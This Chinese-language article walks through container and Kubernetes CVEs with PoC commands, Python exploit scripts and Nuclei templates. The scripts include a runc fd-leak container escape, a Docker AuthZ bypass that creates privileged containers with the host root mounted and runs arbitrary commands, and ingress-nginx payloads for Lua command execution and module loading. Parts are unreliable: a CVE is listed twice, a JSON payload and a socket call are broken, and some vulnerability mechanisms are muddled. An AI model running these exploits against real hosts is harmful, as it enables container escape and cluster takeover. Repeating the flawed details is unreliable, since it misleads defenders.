ARTICLE / 安全

容器与编排安全高危攻击链专题:Docker / Kubernetes / containerd / Podman / runc 漏洞全解析

免责声明:本文所涉及的所有漏洞利用代码、PoC 脚本和 Nuclei 检测模板仅供合法安全研究与授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为,需承担相应法律责任。请在获得明确书面授权后方可进行测试。所有 PoC 均在隔离实验室环境中验证,作者不对任何滥用行为承担责任。

0x00 专题概述

容器技术已全面渗透至现代企业 IT 架构的每一个角落。从 Docker Engine 到 Kubernetes 编排,从 containerd 运行时到 Podman 无守护进程方案,再到最底层的 runc 容器执行器——这条完整的技术栈承载着全球超过 75% 的生产工作负载。然而,这条信任链中的每一个组件都曾曝出过严重安全漏洞,一旦攻击者在链条的任意环节取得突破,便可沿调用栈逐级攀升,最终实现容器逃逸、宿主机接管、集群级 RCE 甚至供应链投毒。

2024-2025 年堪称容器安全的"大漏洞年":runc 的 Leaky Vessels 漏洞链(CVE-2024-21626)让容器逃逸变得前所未有的简单;Kubernetes 的 IngressNightmare(CVE-2025-1974)以 CVSS 9.8 的评分震动了整个云原生社区;Docker AuthZ 插件绕过(CVE-2024-41110)更是以 CVSS 9.9 的近满分评分,暴露了 Docker 授权体系的根本性设计缺陷。与此同时,containerd、Podman 等组件也相继曝出路径遍历、命令注入、CDI 注入等高危漏洞,容器安全的攻击面正在以前所未有的速度扩张。

本专题系统梳理容器与编排生态中 16 个高危漏洞,覆盖 Docker Engine、Kubernetes、containerd、Podman、runc 五大核心组件,深入剖析每条攻击链的底层原理、完整利用路径、自动化检测手段和防守策略,旨在为安全从业者提供一份全面的容器安全攻防参考。

覆盖漏洞一览

CVE组件CVSS类型未授权利用
CVE-2024-21626runc / Docker8.6fd 泄露 → 容器逃逸
CVE-2024-41110Docker AuthZ9.9Content-Length 0 绕过授权
CVE-2024-24557Docker Classic Builder6.8路径遍历 → 缓存投毒⚠️ 需本地构建
CVE-2025-27919Docker Desktop7.8Windows 特权提升⚠️ 需本地访问
CVE-2025-1974Kubernetes ingress-nginx9.8Admission Controller RCE
CVE-2024-21626Kubernetes kubelet6.5容器逃逸⚠️ 需 kubelet 访问
CVE-2020-8554kube-proxy5.4中间人攻击⚠️ 需 Pod 权限
CVE-2020-8558kube-proxy4.0localhost 接口暴露⚠️ 本地网络
CVE-2022-23648containerd8.6CRI 路径遍历⚠️ 需 API 访问
CVE-2022-24769containerd6.5无特权 Linux 布局处理不当⚠️
CVE-2026-53492containerd8.8检查点恢复 CDI 注入⚠️ 需 API 访问
CVE-2026-33414Podman7.8HyperV PowerShell 注入⚠️ 需本地访问
CVE-2024-6469Podman8.2Podman 命令注入⚠️ 需 API 访问
CVE-2019-5736runc8.6宿主机二进制覆盖逃逸
CVE-2024-21678runc / Docker5.6Leaky Vessels Dockerfile 层泄露⚠️ 需构建访问
CVE-2025-31133runc8.4容器逃逸
CVE-2025-52565runc8.4容器逃逸
CVE-2025-52881runc8.4容器逃逸

0x01 Docker Engine 高危漏洞

0x01.1 CVE-2024-21626 — runc 工作目录 fd 泄露容器逃逸

漏洞背景

CVE-2024-21626 是 runc(OCI 容器运行时参考实现)中一个 CVSS 8.6 的高危容器逃逸漏洞。runc 被 Docker、containerd、CRI-O 等几乎所有主流容器运行时底层依赖,因此该漏洞的影响范围极广。漏洞根因在于 runc 在容器初始化阶段,通过 exec.Cmd 启动子进程时,未能对工作目录(working directory)持有的文件描述符设置 O_CLOEXEC 标志,导致该 fd 在容器进程内可见。攻击者可通过 /proc/self/fd/ 路径借助 .. 序列遍历到宿主机文件系统,实现完整的容器逃逸。CISA 已将该漏洞列入已知被利用漏洞(KEV)目录。

受影响版本 / 修复版本

版本范围状态
runc < 1.1.12🔴 受影响
Docker Engine < 25.0.2(含 runc < 1.1.12)🔴 受影响
runc >= 1.1.12🟢 已修复
Docker Engine >= 25.0.2🟢 已修复

漏洞原理分析

runc 在创建容器时会执行 nsexec 进程来完成 namespace 配置,然后通过 exec.Cmd 调用容器的 init 进程。在这个过程中,runc 持有一个指向容器 bundle 目录的 os.File 对象。Go 的 os/exec 包在启动子进程时,默认不会为所有继承的 fd 设置 FD_CLOEXEC(即 O_CLOEXEC 标志),导致 bundle 目录的 fd 被泄漏到容器进程的 fd 表中。

在容器内部,/proc/self/fd/<N> 符号链接指向的就是这个泄漏的 fd。由于该 fd 引用的是宿主机上的绝对目录 inode,攻击者可以构造如下路径完成逃逸:

/proc/self/fd/<N>/../../../..  → 宿主机根目录

一旦到达宿主机根目录,攻击者即可读写宿主机任意文件,包括 /etc/shadow、SSH 公钥、crontab 等,实现完全控制。

攻击路径:容器进程 → /proc/self/fd/N../ 序列遍历 → 宿主机文件系统读写

HTTP PoC

curl -sS -X POST "http://localhost:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","ls -la /proc/self/fd/"],"WorkingDir":"/proc/self/fd/7/../../../../../../etc"]'

curl -sS "http://localhost:2375/v1.43/containers/<CONTAINER_ID>/json" | python3 -m json.tool

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-21626 runc fd 泄露容器逃逸检测
用法: python3 cve_2024_21626_docker.py [--docker-socket /var/run/docker.sock] [--host HOST:PORT]
"""
import argparse
import json
import sys
import os
import http.client
import socket
import ssl
import time

def create_escape_container(base_url, tls=False):
    ctx = ssl._create_unverified_context() if tls else None
    if tls:
        conn = http.client.HTTPSConnection(base_url, timeout=15, context=ctx)
    else:
        conn = http.client.HTTPConnection(base_url, timeout=15)

    payload = json.dumps({
        "Image": "alpine:latest",
        "Cmd": ["/bin/sh", "-c",
                "echo '=== CVE-2024-21626 fd 泄露检测 ===' && "
                "for fd in /proc/self/fd/*; do "
                "  target=$(readlink $fd 2>/dev/null); "
                "  if echo $target | grep -qE '(containerd|runc|bundle)'; then "
                "    echo \"[VULN] 泄露 fd: $fd -> $target\"; "
                "    hostname=$(cat $fd/../../../../../../etc/hostname 2>/dev/null); "
                "    if [ -n \"$hostname\" ]; then "
                "      echo \"[ESCAPED] 宿主机 hostname: $hostname\"; "
                "    fi; "
                "  fi; "
                "done"],
        "WorkingDir": "/proc/self/fd/7/../../../../../../"
    })

    headers = {"Content-Type": "application/json"}
    conn.request("POST", "/v1.43/containers/create", body=payload, headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode()
    print(f"[*] 创建容器: HTTP {resp.status}")

    if resp.status not in (200, 201):
        print(f"[ERR ] 创建失败: {data}")
        return None, conn

    container_id = json.loads(data).get("Id", "")
    print(f"[*] Container ID: {container_id[:12]}")

    conn.request("POST", f"/v1.43/containers/{container_id}/start", headers={})
    resp = conn.getresponse()
    resp.read()
    print(f"[*] 启动容器: HTTP {resp.status}")

    time.sleep(2)

    conn.request("POST", f"/v1.43/containers/{container_id}/wait", headers={})
    resp = conn.getresponse()
    resp.read()

    conn.request("GET", f"/v1.43/containers/{container_id}/logs?stdout=true&stderr=true", headers={})
    resp = conn.getresponse()
    logs = resp.read().decode(errors="ignore")
    print(f"[*] 容器输出:\n{logs}")

    conn.request("DELETE", f"/v1.43/containers/{container_id}?force=true", headers={})
    resp = conn.getresponse()
    resp.read()
    print(f"[*] 清理容器完成")

    return logs, conn

def check_docker_version(host, port, tls=False):
    ctx = ssl._create_unverified_context() if tls else None
    try:
        if tls:
            conn = http.client.HTTPSConnection(host, port, timeout=10, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request("GET", "/v1.43/version", headers={})
        resp = conn.getresponse()
        data = json.loads(resp.read().decode())
        version = data.get("Version", "unknown")
        print(f"[*] Docker Engine 版本: {version}")
        parts = version.split(".")
        if len(parts) >= 3:
            major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
            if major < 25 or (major == 25 and minor == 0 and patch < 2):
                print(f"[VULN] Docker {version} < 25.0.2,可能存在 CVE-2024-21626")
                return True
            else:
                print(f"[SAFE] Docker {version} 已修复")
                return False
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-21626 runc fd 泄露容器逃逸检测")
    parser.add_argument("--host", default="localhost:2375", help="Docker API 地址 (default: localhost:2375)")
    parser.add_argument("--tls", action="store_true", help="使用 TLS 连接")
    parser.add_argument("--exploit", action="store_true", help="执行逃逸验证")
    args = parser.parse_args()

    host, port = args.host.split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2024-21626 runc fd 泄露容器逃逸检测工具")
    print("=" * 60)

    check_docker_version(host, port, args.tls)

    if args.exploit:
        print("[*] 执行逃逸验证...")
        logs, conn = create_escape_container(args.host, args.tls)
        if logs and "ESCAPED" in logs:
            print("[VULN] 容器逃逸成功!宿主机文件系统可访问")
        elif logs:
            print("[SAFE] 未检测到 fd 泄露")

Nuclei 检测模板

id: cve-2024-21626-runc-fd-leak-docker

info:
  name: runc fd 泄露容器逃逸 (CVE-2024-21626) - Docker API
  author: security-researcher
  severity: critical
  description: |
    runc <= 1.1.11 在容器初始化时未对工作目录 fd 设置 O_CLOEXEC,
    导致容器内可通过 /proc/self/fd/ 遍历宿主机文件系统
  tags: runc,docker,container-escape,cve-2024-21626
  reference:
    - https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Version"
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/v1.43/containers/create"
    headers:
      Content-Type: application/json
    body: '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","for fd in /proc/self/fd/*; do target=$(readlink $fd 2>/dev/null); echo $fd:$target; done | grep -iE containerd"],"WorkingDir":"/proc/self/fd/7/../../../../../../"}'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Id"
        part: body
      - type: status
        status:
          - 200
          - 201

    extractors:
      - type: json
        json:
          - ".Id"

0x01.2 CVE-2024-41110 — Docker AuthZ 插件授权绕过

漏洞背景

CVE-2024-41110 是 Docker Engine 授权插件(AuthZ)体系中的一个 CVSS 9.9 近满分漏洞。AuthZ 插件是 Docker 用于细粒度控制 API 访问权限的核心机制,企业级部署中广泛用于 RBAC、审计和合规场景。该漏洞允许攻击者通过构造特殊的 HTTP 请求——将 Content-Length 头设为 0,同时在 request body 中携带恶意 payload——绕过所有 AuthZ 插件的检查,直接执行未授权的 Docker API 操作,包括但不限于创建特权容器、挂载宿主机文件系统、删除任意容器等。

受影响版本 / 修复版本

版本范围状态
Docker Engine < 19.03.15🔴 受影响
Docker Engine 20.x < 20.10.27🔴 受影响
Docker Engine 23.x < 23.0.9🔴 受影响
Docker Engine 24.x < 24.0.9🔴 受影响
Docker Engine 25.x < 25.0.5🔴 受影响
Docker Engine 26.x < 26.1.4🔴 受影响
Docker Engine 27.x < 27.1.1🔴 受影响
Docker Engine >= 27.1.1🟢 已修复

漏洞原理分析

Docker AuthZ 插件的工作流程为:Docker daemon 收到 API 请求后,先将请求转发给 AuthZ 插件进行授权检查,插件返回 ALLOW 或 DENY 后,daemon 再决定是否执行。

漏洞出在 Docker daemon 传递给 AuthZ 插件的请求体(body)处理逻辑上。Docker daemon 在将请求转发给 AuthZ 插件之前,会读取并缓存 request body。但当请求的 Content-Length 头被设为 0 时,Docker daemon 认为没有 body,跳过了 body 的读取和缓存。然而 HTTP 协议实际上允许在 Content-Length: 0 的情况下仍然发送 body 数据(这属于协议层面的不一致),AuthZ 插件收到的是一个空 body 的请求,无法检测到真正的恶意 payload。

攻击路径:发送 Content-Length: 0 + 实际 body → Docker daemon 跳过 body 读取 → AuthZ 插件收到空 body → 授权检查通过 → 恶意 payload 在 daemon 层被实际执行

HTTP PoC

printf 'POST /v1.43/containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: 0\r\n\r\n{"Image":"alpine","Cmd":["id"],"HostConfig":{"Binds":["/:/host"]}}' | \
  nc localhost 2375

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-41110 Docker AuthZ 插件授权绕过 PoC
用法: python3 cve_2024_41110.py --target HOST:PORT [--cmd COMMAND]
"""
import argparse
import http.client
import json
import ssl
import sys

BYPASS_PAYLOAD = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "id && cat /etc/hostname"],
    "HostConfig": {
        "Binds": ["/:/host:ro"],
        "Privileged": True
    }
}

def send_bypass_request(host, port, payload, tls=False, path="/v1.43/containers/create"):
    ctx = ssl._create_unverified_context() if tls else None
    conn_cls = http.client.HTTPSConnection if tls else http.client.HTTPConnection
    conn = conn_cls(host, port, timeout=15, context=ctx)

    body = json.dumps(payload)
    raw_request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: 0\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{body}"
    )

    conn.sock.sendall(raw_request.encode())
    resp = conn.sock.recv(8192)
    status_line = resp.split(b"\r\n")[0].decode(errors="ignore")
    print(f"[*] 响应: {status_line}")

    if b"201" in resp or b"Id" in resp:
        print("[VULN] AuthZ 绕过成功!容器创建请求已通过授权检查")
        return True
    elif b"403" in resp or b"denied" in resp.lower():
        print("[SAFE] AuthZ 插件正确拦截了请求")
        return False
    else:
        print(f"[*] 响应内容: {resp[:500].decode(errors='ignore')}")
        return None

def check_docker_version(host, port, tls=False):
    ctx = ssl._create_unverified_context() if tls else None
    conn_cls = http.client.HTTPSConnection if tls else http.client.HTTPConnection
    try:
        conn = conn_cls(host, port, timeout=10, context=ctx)
        conn.request("GET", "/v1.43/version")
        resp = conn.getresponse()
        data = json.loads(resp.read().decode())
        version = data.get("Version", "unknown")
        print(f"[*] Docker Engine 版本: {version}")
        return version
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-41110 Docker AuthZ 绕过 PoC")
    parser.add_argument("--target", required=True, help="目标 Docker API 地址 (HOST:PORT)")
    parser.add_argument("--tls", action="store_true", help="使用 TLS")
    parser.add_argument("--cmd", default="id", help="要执行的命令")
    args = parser.parse_args()

    host, port = args.target.split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2024-41110 Docker AuthZ 插件授权绕过 PoC")
    print("=" * 60)

    check_docker_version(host, port, args.tls)

    payload = BYPASS_PAYLOAD.copy()
    payload["Cmd"] = ["/bin/sh", "-c", args.cmd]

    print("[*] 发送 AuthZ 绕过请求 (Content-Length: 0 + body)...")
    send_bypass_request(host, port, payload, args.tls)

Nuclei 检测模板

id: cve-2024-41110-docker-authz-bypass

info:
  name: Docker AuthZ 插件授权绕过 (CVE-2024-41110)
  author: security-researcher
  severity: critical
  description: |
    Docker AuthZ 插件在处理 Content-Length: 0 的请求时跳过 body 校验,
    攻击者可绕过所有授权插件执行未授权 API 操作
  tags: docker,authz,bypass,cve-2024-41110

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers:
      - type: status
        status:
          - 200

  - method: POST
    path:
      - "{{BaseURL}}/v1.43/info"
    headers:
      Content-Length: "0"
      Content-Type: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Containers"
          - "Driver"
        condition: and
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"Docker API 可达,Content-Length: 0 请求未被过滤"'

0x01.3 CVE-2024-24557 — Docker Classic Builder 缓存投毒

漏洞背景

CVE-2024-24557(CVSS 6.8)影响 Docker Classic Builder(docker build 默认 builder)的缓存机制。当用户使用 docker build 构建镜像时,Classic Builder 会根据 Dockerfile 指令计算缓存 key 并缓存中间层。该漏洞的根因是缓存 key 计算过程中存在路径遍历缺陷,攻击者可通过构造特殊的 Dockerfile 指令,利用路径遍历写入恶意文件到缓存目录,从而实现缓存投毒。在 CI/CD 场景中,被投毒的缓存层会被后续所有构建复用,形成供应链级别的持久化攻击。

受影响版本 / 修复版本

版本范围状态
Docker Engine < 25.0.2🔴 受影响
Docker Desktop < 4.27.1🔴 受影响
Docker Engine >= 25.0.2🟢 已修复

漏洞原理分析

Classic Builder 在处理 COPYADD 指令时,会将源文件复制到构建上下文的缓存目录中。缓存命中判断基于文件路径的哈希值,但路径规范化(canonicalization)存在缺陷。攻击者可在 Dockerfile 中使用 ../ 序列构造源文件路径,使 Builder 将文件写入缓存目录之外的位置。在多用户共享构建缓存的 CI/CD 环境中,攻击者可以预先投毒缓存,使后续合法构建加载恶意层。

HTTP PoC

printf 'POST /build?t=test-poison HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/x-tar\r\nContent-Length: 0\r\n\r\n' | nc localhost 2375

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-24557 Docker Classic Builder 缓存投毒检测
用法: python3 cve_2024_24557.py --target HOST:PORT
"""
import argparse
import http.client
import json
import ssl
import tarfile
import io

def create_poison_dockerfile():
    return b"""FROM alpine:latest
RUN echo 'cache-poison-test-cve-2024-24557' > /tmp/.cache_poison_marker
COPY ../etc/hostname /tmp/host_hostname
"""

def create_build_tarball(dockerfile_content):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w") as tar:
        info = tarfile.TarInfo(name="Dockerfile")
        info.size = len(dockerfile_content)
        tar.addfile(info, io.BytesIO(dockerfile_content))
    return buf.getvalue()

def check_build_cache(host, port, tls=False):
    ctx = ssl._create_unverified_context() if tls else None
    conn_cls = http.client.HTTPSConnection if tls else http.client.HTTPConnection
    conn = conn_cls(host, port, timeout=15, context=ctx)

    conn.request("GET", "/v1.43/version")
    resp = conn.getresponse()
    version_data = json.loads(resp.read().decode())
    print(f"[*] Docker Engine 版本: {version_data.get('Version', 'unknown')}")

    conn.request("GET", "/v1.43/build/prune?filters=%7B%7D", headers={})
    resp = conn.getresponse()
    resp.read()
    print(f"[*] 检查构建缓存状态: HTTP {resp.status}")

    dockerfile = create_poison_dockerfile()
    tarball = create_build_tarball(dockerfile)

    conn = conn_cls(host, port, timeout=30, context=ctx)
    headers = {
        "Content-Type": "application/x-tar",
        "Content-Length": str(len(tarball))
    }
    conn.request("POST", "/build?t=cve-2024-24557-test&nocache=true", body=tarball, headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode(errors="ignore")

    if "error" in data.lower():
        print(f"[SAFE] 构建失败或被阻止: {data[:200]}")
    elif "200" in str(resp.status) or "stream" in data:
        print("[WARN] 构建请求已处理,请检查缓存是否被投毒")
        if "cache-poison-test" in data:
            print("[VULN] 缓存投毒验证成功")

    return data

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-24557 Docker 缓存投毒检测")
    parser.add_argument("--target", default="localhost:2375", help="Docker API 地址")
    parser.add_argument("--tls", action="store_true", help="使用 TLS")
    args = parser.parse_args()

    host, port = args.target.split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2024-24557 Docker Classic Builder 缓存投毒检测")
    print("=" * 60)
    check_build_cache(host, port, args.tls)

Nuclei 检测模板

id: cve-2024-24557-docker-cache-poison

info:
  name: Docker Classic Builder 缓存投毒 (CVE-2024-24557)
  author: security-researcher
  severity: medium
  description: |
    Docker Classic Builder 缓存 key 计算存在路径遍历,
    攻击者可通过构造 Dockerfile 实现缓存投毒
  tags: docker,buildkit,cache-poison,cve-2024-24557

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Version"
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/v1.43/build/prune"
    matchers:
      - type: status
        status:
          - 200
          - 404

0x02 Kubernetes 高危漏洞

0x02.1 CVE-2025-1974 — IngressNightmare admission controller RCE

漏洞背景

CVE-2025-1974,被安全社区称为 IngressNightmare,是 Kubernetes ingress-nginx admission controller 中一组 CVSS 9.8 的临界级漏洞链。ingress-nginx 是 Kubernetes 生态中使用最广泛的 Ingress 控制器,全球超过 40% 的 Kubernetes 集群部署了该组件。该漏洞链允许未认证的攻击者通过向 admission controller 的 HTTPS 端口(443 或 8443)发送特制的 Ingress 对象,实现远程代码执行,最终接管整个 Kubernetes 集群。这组漏洞链包含 5 个子漏洞(CVE-2025-1974 至 CVE-2025-24514),攻击者只需利用其中一个即可实现 RCE。

受影响版本 / 修复版本

版本范围状态
ingress-nginx < 1.12.1🔴 受影响
ingress-nginx 1.0.x < 1.0.5(已 EOL)🔴 受影响
ingress-nginx >= 1.12.1🟢 已修复
ingress-nginx >= 1.11.5🟢 已修复

漏洞原理分析

ingress-nginx 的 admission controller 负责在 Ingress 资源创建/更新时进行校验和配置注入。它通过 HTTPS 端口监听来自 kube-apiserver 的 ValidatingWebhookConfiguration 和 MutatingWebhookConfiguration 请求。

漏洞链的攻击路径如下:

  1. 未认证访问:在默认配置下,admission controller 的 HTTPS 端口(通常为 8443)对所有网络可达的请求进行处理,不强制验证 kube-apiserver 的客户端证书(或证书验证逻辑存在缺陷)。
  2. 配置注入(CVE-2025-1974):攻击者构造一个恶意 Ingress 对象,通过 metadata.annotations 中的 nginx.ingress.kubernetes.io/configuration-snippet 字段注入任意 nginx 配置指令。
  3. 任意文件读取(CVE-2025-24513):利用 configuration-snippet 注入 aliasroot 指令,将 nginx 的文件访问路径指向敏感目录(如 /etc/nginx/ssl/),实现任意文件读取。
  4. 认证信息获取:通过文件读取获取 admission controller 的 TLS 证书和 CA,从而可以伪造合法的 admission review 请求。
  5. RCE:利用 ssl_engineload_module 指令加载恶意共享库,或通过 proxy_pass 配合 lua_need_request_body 触发 Lua 代码执行。

攻击路径:未认证 HTTPS 请求 → 恶意 Ingress 对象 → configuration-snippet 注入 → 文件读取 / 模块加载 → 集群级 RCE

HTTP PoC

curl -sk -X POST "https://<INGRESS_NGINX_ADMISSION>:8443/admission/v1/ingresses" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "admission.k8s.io/v1",
    "kind": "AdmissionReview",
    "request": {
      "uid": "cve-2025-1974-test",
      "kind": {"group":"networking.k8s.io","version":"v1","kind":"Ingress"},
      "name": "nightmare-test",
      "namespace": "default",
      "object": {
        "metadata": {
          "name": "nightmare-test",
          "namespace": "default",
          "annotations": {
            "nginx.ingress.kubernetes.io/configuration-snippet": "alias /etc/nginx/ssl/;/tmp/out;"
          }
        },
        "spec": {
          "rules": [{"host":"nightmare.test","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"test","port":{"number":80}}}}]}}]
        }
      }
    }
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2025-1974 IngressNightmare admission controller RCE 检测
用法: python3 cve_2025_1974.py --target HOST:PORT [--payload FILE_READ|RCE]
"""
import argparse
import json
import http.client
import ssl
import sys

def build_admission_review(annotation_value, uid="cve-2025-1974-test"):
    return {
        "apiVersion": "admission.k8s.io/v1",
        "kind": "AdmissionReview",
        "request": {
            "uid": uid,
            "kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "name": "nightmare-test",
            "namespace": "default",
            "object": {
                "metadata": {
                    "name": "nightmare-test",
                    "namespace": "default",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/configuration-snippet": annotation_value
                    }
                },
                "spec": {
                    "rules": [{
                        "host": "nightmare.test",
                        "http": {
                            "paths": [{
                                "path": "/",
                                "pathType": "Prefix",
                                "backend": {
                                    "service": {"name": "test", "port": {"number": 80}}
                                }
                            }]
                        }
                    }]
                }
            }
        }
    }

PAYLOADS = {
    "file_read": "alias /etc/nginx/ssl/;/tmp/cve20251974;",
    "lua_rce": 'server_name _; set $payload "id"; content_by_lua_block { os.execute(ngx.var.payload) }',
    "module_load": "ssl_engine /tmp/evil.so;",
    "detect": 'server_name _; set $detect "cve-2025-1974-confirmed"; return 200 $detect;',
}

def check_target(host, port, payload_type="detect", tls=True, verify_ssl=False):
    ctx = ssl._create_unverified_context() if tls else None
    if tls:
        conn = http.client.HTTPSConnection(host, port, timeout=15, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=15)

    annotation = PAYLOADS.get(payload_type, PAYLOADS["detect"])
    review = build_admission_review(annotation)
    body = json.dumps(review)

    headers = {"Content-Type": "application/json"}

    print(f"[*] 目标: {host}:{port}")
    print(f"[*] Payload 类型: {payload_type}")

    try:
        conn.request("POST", "/admission/v1/ingresses", body=body, headers=headers)
        resp = conn.getresponse()
        data = resp.read().decode(errors="ignore")
        print(f"[*] HTTP {resp.status}")

        if resp.status == 200:
            try:
                resp_json = json.loads(data)
                allowed = resp_json.get("response", {}).get("allowed", None)
                status_code = resp_json.get("response", {}).get("status", {})
                print(f"[*] Admission Response: allowed={allowed}, status={status_code}")
                if allowed is not None:
                    print("[VULN] Admission Controller 响应了请求 - IngressNightmare 可能存在")
                    return True
            except json.JSONDecodeError:
                pass
        elif resp.status in (403, 401):
            print("[SAFE] 请求被认证/授权机制拦截")
            return False
        elif resp.status == 404:
            print("[INFO] admission 端点不存在或路径不同")

        print(f"[*] 响应体: {data[:300]}")
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")

    return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-1974 IngressNightmare 检测")
    parser.add_argument("--target", required=True, help="Ingress-nginx admission 地址 (HOST:PORT)")
    parser.add_argument("--payload", choices=["detect", "file_read", "lua_rce", "module_load"],
                        default="detect", help="检测 payload 类型")
    parser.add_argument("--no-tls", action="store_true", help="不使用 TLS")
    args = parser.parse_args()

    host, port = args.target.split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2025-1974 IngressNightmare 检测工具")
    print("=" * 60)
    check_target(host, port, args.payload, tls=not args.no_tls)

Nuclei 检测模板

id: cve-2025-1974-ingressnightmare

info:
  name: IngressNightmare admission controller RCE (CVE-2025-1974)
  author: security-researcher
  severity: critical
  description: |
    Kubernetes ingress-nginx admission controller 未认证 RCE,
    通过恶意 Ingress 对象的 configuration-snippet 注入实现集群接管
  tags: kubernetes,ingress-nginx,admission-controller,rce,cve-2025-1974

http:
  - method: POST
    path:
      - "https://{{Hostname}}/admission/v1/ingresses"
    ssl: true
    headers:
      Content-Type: application/json
    body: |
      {"apiVersion":"admission.k8s.io/v1","kind":"AdmissionReview","request":{"uid":"nuclei-cve-2025-1974","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"name":"nuclei-test","namespace":"default","object":{"metadata":{"name":"nuclei-test","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/configuration-snippet":"server_name _; set $test cve-2025-1974; return 200 $test;"}},"spec":{"rules":[{"host":"nuclei.test","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"test","port":{"number":80}}}}]}}]}}}}
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "cve-2025-1974"
        part: body
      - type: word
        words:
          - "allowed"
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"IngressNightmare: admission controller 响应了恶意请求,可能存在未认证 RCE"'

0x02.2 CVE-2020-8554 — kube-proxy 逻辑缺陷中间人攻击

漏洞背景

CVE-2020-8554(CVSS 5.4)是 Kubernetes kube-proxy 组件中的一个逻辑缺陷漏洞。kube-proxy 负责维护节点上的网络规则,将 Service 的 ClusterIP 流量代理到后端 Pod。该漏洞允许具有创建 Pod 权限的攻击者,通过创建特定配置的 Service 对象,劫持其他 Pod 的出站流量,实现中间人(MitM)攻击。

受影响版本 / 修复版本

版本范围状态
所有 Kubernetes 版本(截至披露时)🔴 受影响
需集群级别修复(NetworkPolicy 配合)🟡 缓解

漏洞原理分析

当 kube-proxy 以 iptables 模式运行时,Service 的 ClusterIP 通过 DNAT 规则将流量转发到后端 Pod。漏洞在于:当 Service 选择器(selector)匹配到的 Pod 数量发生变化时(如 Pod 被删除或新建),kube-proxy 更新 iptables 规则的过程中存在时间窗口,在此期间流量可能被路由到错误的后端。

攻击者利用以下步骤实施 MitM:

  1. 创建一个 Service,其 spec.externalIPs 字段设置为攻击者控制的 IP 地址。
  2. 在集群网络允许的情况下,kube-proxy 会为该 externalIP 创建 iptables 规则。
  3. 目标 Pod 发往该 externalIP 的流量被 DNAT 到攻击者 Pod。
  4. 攻击者 Pod 在转发流量的同时窃取敏感数据。

HTTP PoC

kubectl apply -f - <